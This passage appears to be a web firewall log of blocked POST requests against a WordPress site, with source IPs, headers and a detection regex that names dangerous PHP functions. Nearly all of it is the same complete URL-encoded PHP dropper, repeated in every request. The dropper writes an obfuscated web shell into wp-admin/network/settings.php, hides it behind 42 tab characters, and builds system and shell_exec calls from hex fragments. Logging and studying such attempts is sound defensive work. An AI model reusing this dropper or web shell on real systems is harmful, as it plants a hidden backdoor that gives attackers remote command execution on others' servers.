24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJKZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:5837\n\nYs=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524elem1%2520%253D%2520%2527736%2527%253B%2524elem2%2520%253D%2520%2527865%2527%253B%2524elem3%2520%253D%2520%2527657%2527%253B%2524elem4%2520%253D%2520%2527706%2527%253B%2524elem5%2520%253D%2520%2527173%2527%253B%2524elem6%2520%253D%2520%2527468%2527%253B%2524elem7%2520%253D%2520%2527f70%2527%253B%2524elem8%2520%253D%2520%2527656%2527%253B%2524elem9%2520%253D%2520%2527737%2527%253B%2524elem10%2520%253D%2520%2527f63%2527%253B%2524elem11%2520%253D%2520%2527e74%2527%253B%2524elem12%2520%253D%2520%2527365%2527%253B%2524elem13%2520%253D%2520%2527655%2527%253B%2524elem14%2520%253D%2520%2527f6c%2527%253B%2524elem15%2520%253D%2520%25276f6%2527%253B%2524elem16%2520%253D%2520%2527757%2527%253B%2524hub_center1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527973%2527.%2527746%2527.%252756d%2527%2529%253B%2524hub_center2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem1.%2524elem2.%25276c6%2527.%2527c5f%2527.%2524elem3.%2527865%2527%2529%253B%2524hub_center3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2524elem2%2529%253B%2524hub_center4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%2524elem5.%2527737%2527.%2524elem6.%2527727%2527%2529%253B%2524hub_center5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%2524elem7.%2524elem8%2529%253B%2524hub_center6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem9.%2527472%2527.%2527656%2527.%252716d%2527.%25275f6%2527.%2527765%2527.%2527745%2527.%2524elem10.%25276f6%2527.%2527e74%2527.%2524elem8.%2524elem11%2529%253B%2524hub_center7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%252736c%2527.%25276f7%2527.%2524elem12%2529%253B%2524reverse_lookup%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527726%2527.%2527576%2527.%2524elem3.%2527273%2527.%2524elem13.%2524elem14.%2524elem15.%2527f6b%2527.%2524elem16%2529%253Bif%2528isset%2528%2524_POST%255B%2524reverse_lookup%255D%2529%2529%257B%2524reverse_lookup%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524reverse_lookup%255D%2529%253Bif%2528function_exists%2528%2524hub_center1%2529%2529%257B%2524hub_center1%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center2%2529%2529%257Bprint%2520%2524hub_center2%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center3%2529%2529%257B%2524hub_center3%2528%2524reverse_lookup%252C%2524rec_holder%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524rec_holder%2529%253B%257Delseif%2528function_exists%2528%2524hub_center4%2529%2529%257B%2524hub_center4%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center5%2529%2526%2526function_exists%2528%2524hub_center6%2529%2526%2526function_exists%2528%2524hub_center7%2529%2529%257B%2524resource_key%253D%2524hub_center5%2528%2524reverse_lookup%252C%2522r%2522%2529%253Bif%2528%2524resource_key%2529%257B%2524object_obj%253D%2524hub_center6%2528%2524resource_key%2529%253B%2524hub_center7%2528%2524resource_key%2529%253Bprint%2520%2524object_obj%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:42:56","129.121.41.228","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> JM:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524elem1%2520%253D%2520%2527736%2527%253B%2524elem2%2520%253D%2520%2527865%2527%253B%2524elem3%2520%253D%2520%2527657%2527%253B%2524elem4%2520%253D%2520%2527706%2527%253B%2524elem5%2520%253D%2520%2527173%2527%253B%2524elem6%2520%253D%2520%2527468%2527%253B%2524elem7%2520%253D%2520%2527f70%2527%253B%2524elem8%2520%253D%2520%2527656%2527%253B%2524elem9%2520%253D%2520%2527737%2527%253B%2524elem10%2520%253D%2520%2527f63%2527%253B%2524elem11%2520%253D%2520%2527e74%2527%253B%2524elem12%2520%253D%2520%2527365%2527%253B%2524elem13%2520%253D%2520%2527655%2527%253B%2524elem14%2520%253D%2520%2527f6c%2527%253B%2524elem15%2520%253D%2520%25276f6%2527%253B%2524elem16%2520%253D%2520%2527757%2527%253B%2524hub_center1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527973%2527.%2527746%2527.%252756d%2527%2529%253B%2524hub_center2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem1.%2524elem2.%25276c6%2527.%2527c5f%2527.%2524elem3.%2527865%2527%2529%253B%2524hub_center3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2524elem2%2529%253B%2524hub_center4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%2524elem5.%2527737%2527.%2524elem6.%2527727%2527%2529%253B%2524hub_center5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%2524elem7.%2524elem8%2529%253B%2524hub_center6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem9.%2527472%2527.%2527656%2527.%252716d%2527.%25275f6%2527.%2527765%2527.%2527745%2527.%2524elem10.%25276f6%2527.%2527e74%2527.%2524elem8.%2524elem11%2529%253B%2524hub_center7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%252736c%2527.%25276f7%2527.%2524elem12%2529%253B%2524reverse_lookup%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527726%2527.%2527576%2527.%2524elem3.%2527273%2527.%2524elem13.%2524elem14.%2524elem15.%2527f6b%2527.%2524elem16%2529%253Bif%2528isset%2528%2524_POST%255B%2524reverse_lookup%255D%2529%2529%257B%2524reverse_lookup%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524reverse_lookup%255D%2529%253Bif%2528function_exists%2528%2524hub_center1%2529%2529%257B%2524hub_center1%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center2%2529%2529%257Bprint%2520%2524hub_center2%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center3%2529%2529%257B%2524hub_center3%2528%2524reverse_lookup%252C%2524rec_holder%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524rec_holder%2529%253B%257Delseif%2528function_exists%2528%2524hub_center4%2529%2529%257B%2524hub_center4%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center5%2529%2526%2526function_exists%2528%2524hub_center6%2529%2526%2526function_exists%2528%2524hub_center7%2529%2529%257B%2524resource_key%253D%2524hub_center5%2528%2524reverse_lookup%252C%2522r%2522%2529%253Bif%2528%2524resource_key%2529%257B%2524object_obj%253D%2524hub_center6%2528%2524resource_key%2529%253B%2524hub_center7%2528%2524resource_key%2529%253Bprint%2520%2524object_obj%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFx0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:5837\n\nJM=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524elem1%2520%253D%2520%2527736%2527%253B%2524elem2%2520%253D%2520%2527865%2527%253B%2524elem3%2520%253D%2520%2527657%2527%253B%2524elem4%2520%253D%2520%2527706%2527%253B%2524elem5%2520%253D%2520%2527173%2527%253B%2524elem6%2520%253D%2520%2527468%2527%253B%2524elem7%2520%253D%2520%2527f70%2527%253B%2524elem8%2520%253D%2520%2527656%2527%253B%2524elem9%2520%253D%2520%2527737%2527%253B%2524elem10%2520%253D%2520%2527f63%2527%253B%2524elem11%2520%253D%2520%2527e74%2527%253B%2524elem12%2520%253D%2520%2527365%2527%253B%2524elem13%2520%253D%2520%2527655%2527%253B%2524elem14%2520%253D%2520%2527f6c%2527%253B%2524elem15%2520%253D%2520%25276f6%2527%253B%2524elem16%2520%253D%2520%2527757%2527%253B%2524hub_center1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527973%2527.%2527746%2527.%252756d%2527%2529%253B%2524hub_center2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem1.%2524elem2.%25276c6%2527.%2527c5f%2527.%2524elem3.%2527865%2527%2529%253B%2524hub_center3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2524elem2%2529%253B%2524hub_center4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%2524elem5.%2527737%2527.%2524elem6.%2527727%2527%2529%253B%2524hub_center5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%2524elem7.%2524elem8%2529%253B%2524hub_center6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem9.%2527472%2527.%2527656%2527.%252716d%2527.%25275f6%2527.%2527765%2527.%2527745%2527.%2524elem10.%25276f6%2527.%2527e74%2527.%2524elem8.%2524elem11%2529%253B%2524hub_center7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%252736c%2527.%25276f7%2527.%2524elem12%2529%253B%2524reverse_lookup%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527726%2527.%2527576%2527.%2524elem3.%2527273%2527.%2524elem13.%2524elem14.%2524elem15.%2527f6b%2527.%2524elem16%2529%253Bif%2528isset%2528%2524_POST%255B%2524reverse_lookup%255D%2529%2529%257B%2524reverse_lookup%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524reverse_lookup%255D%2529%253Bif%2528function_exists%2528%2524hub_center1%2529%2529%257B%2524hub_center1%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center2%2529%2529%257Bprint%2520%2524hub_center2%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center3%2529%2529%257B%2524hub_center3%2528%2524reverse_lookup%252C%2524rec_holder%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524rec_holder%2529%253B%257Delseif%2528function_exists%2528%2524hub_center4%2529%2529%257B%2524hub_center4%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center5%2529%2526%2526function_exists%2528%2524hub_center6%2529%2526%2526function_exists%2528%2524hub_center7%2529%2529%257B%2524resource_key%253D%2524hub_center5%2528%2524reverse_lookup%252C%2522r%2522%2529%253Bif%2528%2524resource_key%2529%257B%2524object_obj%253D%2524hub_center6%2528%2524resource_key%2529%253B%2524hub_center7%2528%2524resource_key%2529%253Bprint%2520%2524object_obj%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:42:59","78.142.18.172","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Js:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524elem1%2520%253D%2520%2527736%2527%253B%2524elem2%2520%253D%2520%2527865%2527%253B%2524elem3%2520%253D%2520%2527657%2527%253B%2524elem4%2520%253D%2520%2527706%2527%253B%2524elem5%2520%253D%2520%2527173%2527%253B%2524elem6%2520%253D%2520%2527468%2527%253B%2524elem7%2520%253D%2520%2527f70%2527%253B%2524elem8%2520%253D%2520%2527656%2527%253B%2524elem9%2520%253D%2520%2527737%2527%253B%2524elem10%2520%253D%2520%2527f63%2527%253B%2524elem11%2520%253D%2520%2527e74%2527%253B%2524elem12%2520%253D%2520%2527365%2527%253B%2524elem13%2520%253D%2520%2527655%2527%253B%2524elem14%2520%253D%2520%2527f6c%2527%253B%2524elem15%2520%253D%2520%25276f6%2527%253B%2524elem16%2520%253D%2520%2527757%2527%253B%2524hub_center1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527973%2527.%2527746%2527.%252756d%2527%2529%253B%2524hub_center2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem1.%2524elem2.%25276c6%2527.%2527c5f%2527.%2524elem3.%2527865%2527%2529%253B%2524hub_center3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2524elem2%2529%253B%2524hub_center4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%2524elem5.%2527737%2527.%2524elem6.%2527727%2527%2529%253B%2524hub_center5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%2524elem7.%2524elem8%2529%253B%2524hub_center6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem9.%2527472%2527.%2527656%2527.%252716d%2527.%25275f6%2527.%2527765%2527.%2527745%2527.%2524elem10.%25276f6%2527.%2527e74%2527.%2524elem8.%2524elem11%2529%253B%2524hub_center7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%252736c%2527.%25276f7%2527.%2524elem12%2529%253B%2524reverse_lookup%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527726%2527.%2527576%2527.%2524elem3.%2527273%2527.%2524elem13.%2524elem14.%2524elem15.%2527f6b%2527.%2524elem16%2529%253Bif%2528isset%2528%2524_POST%255B%2524reverse_lookup%255D%2529%2529%257B%2524reverse_lookup%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524reverse_lookup%255D%2529%253Bif%2528function_exists%2528%2524hub_center1%2529%2529%257B%2524hub_center1%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center2%2529%2529%257Bprint%2520%2524hub_center2%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center3%2529%2529%257B%2524hub_center3%2528%2524reverse_lookup%252C%2524rec_holder%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524rec_holder%2529%253B%257Delseif%2528function_exists%2528%2524hub_center4%2529%2529%257B%2524hub_center4%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524hub_center5%2529%2526%2526function_exists%2528%2524hub_center6%2529%2526%2526function_exists%2528%2524hub_center7%2529%2529%257B%2524resource_key%253D%2524hub_center5%2528%2524reverse_lookup%252C%2522r%2522%2529%253Bif%2528%2524resource_key%2529%257B%2524object_obj%253D%2524hub_center6%2528%2524resource_key%2529%253B%2524hub_center7%2528%2524resource_key%2529%253Bprint%2520%2524object_obj%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFaZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:5837\n\nJs=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524elem1%2520%253D%2520%2527736%2527%253B%2524elem2%2520%253D%2520%2527865%2527%253B%2524elem3%2520%253D%2520%2527657%2527%253B%2524elem4%2520%253D%2520%2527706%2527%253B%2524elem5%2520%253D%2520%2527173%2527%253B%2524elem6%2520%253D%2520%2527468%2527%253B%2524elem7%2520%253D%2520%2527f70%2527%253B%2524elem8%2520%253D%2520%2527656%2527%253B%2524elem9%2520%253D%2520%2527737%2527%253B%2524elem10%2520%253D%2520%2527f63%2527%253B%2524elem11%2520%253D%2520%2527e74%2527%253B%2524elem12%2520%253D%2520%2527365%2527%253B%2524elem13%2520%253D%2520%2527655%2527%253B%2524elem14%2520%253D%2520%2527f6c%2527%253B%2524elem15%2520%253D%2520%25276f6%2527%253B%2524elem16%2520%253D%2520%2527757%2527%253B%2524hub_center1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527973%2527.%2527746%2527.%252756d%2527%2529%253B%2524hub_center2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem1.%2524elem2.%25276c6%2527.%2527c5f%2527.%2524elem3.%2527865%2527%2529%253B%2524hub_center3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2524elem2%2529%253B%2524hub_center4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%2524elem5.%2527737%2527.%2524elem6.%2527727%2527%2529%253B%2524hub_center5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%2524elem7.%2524elem8%2529%253B%2524hub_center6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem9.%2527472%2527.%2527656%2527.%252716d%2527.%25275f6%2527.%2527765%2527.%2527745%2527.%2524elem10.%25276f6%2527.%2527e74%2527.%2524elem8.%2524elem11%2529%253B%2524hub_center7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524elem4.%252736c%2527.%25276f7%2527.%2524elem12%2529%253B%2524reverse_lookup%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527726%